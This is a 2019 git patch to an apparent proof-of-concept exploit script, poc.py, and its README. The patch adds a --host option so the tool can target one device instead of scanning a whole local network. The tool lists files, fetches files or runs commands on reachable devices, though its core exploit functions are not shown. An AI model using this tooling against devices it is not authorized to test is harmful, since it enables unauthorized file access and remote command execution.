From 00cb15c615385be430aa6c33c46c778a7bdcd587 Mon Sep 17 00:00:00 2001 From: Ayush Tulsyan Date: Wed, 23 Jan 2019 02:30:35 +0530 Subject: [PATCH] Adding option for target host (#15) Also updated corresponding documentation --- README.md | 2 ++ poc.py | 13 +++++++++++-- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 04d0759..cd5b30c 100644 --- a/README.md +++ b/README.md @@ -78,6 +78,8 @@ $ python poc.py --cmd listFiles $ python poc.py --cmd listFiles --network 192.168.1. +$ python poc.py --cmd listFiles --ip 192.168.4.17 + $ python poc.py list ###################### diff --git a/poc.py b/poc.py index 63ff0fe..69a55a1 100644 --- a/poc.py +++ b/poc.py @@ -117,6 +117,9 @@ def set_up_menu(): parser.add_option('-p', '--pkg', action="store", dest="package", help="Package name", default="") + parser.add_option('--ip', '--host', + action="store", dest="host", + help="Target host IP", default="") parser.add_option('-n', '--network', action="store", dest="network", help="Network to scan", default="192.168.0.") @@ -134,8 +137,7 @@ def main(): if len(sys.argv) > 1 and sys.argv[1] == 'list': show_available_cmds() elif options.filepath != '' or options.cmd != '': - for ip in range(0, 255): - addr = options.network + str(ip) + def scan_host(addr): if verbose: print('[*] Checking address: ' + addr) @@ -147,11 +149,18 @@ def main(): get_file(addr, options.filepath) elif options.cmd != '': execute_cmd(addr, options.cmd, options.package) + + if options.host != '': + scan_host(options.host) + else: + for ip in range(0, 255): + scan_host(options.network + str(ip)) else: print('Usage:') print('- python3 poc.py list') print('- python3 poc.py --get-file [filepath]') print('- python3 poc.py --cmd [cmd]') + print('- python3 poc.py --cmd [cmd] --host [target_host]') print('- python3 poc.py --cmd [cmd] --network [network]') print('- python3 poc.py --cmd [cmd] --pkg [package_name]') print('- python3 poc.py --verbose --cmd [cmd] --pkg [package_name]')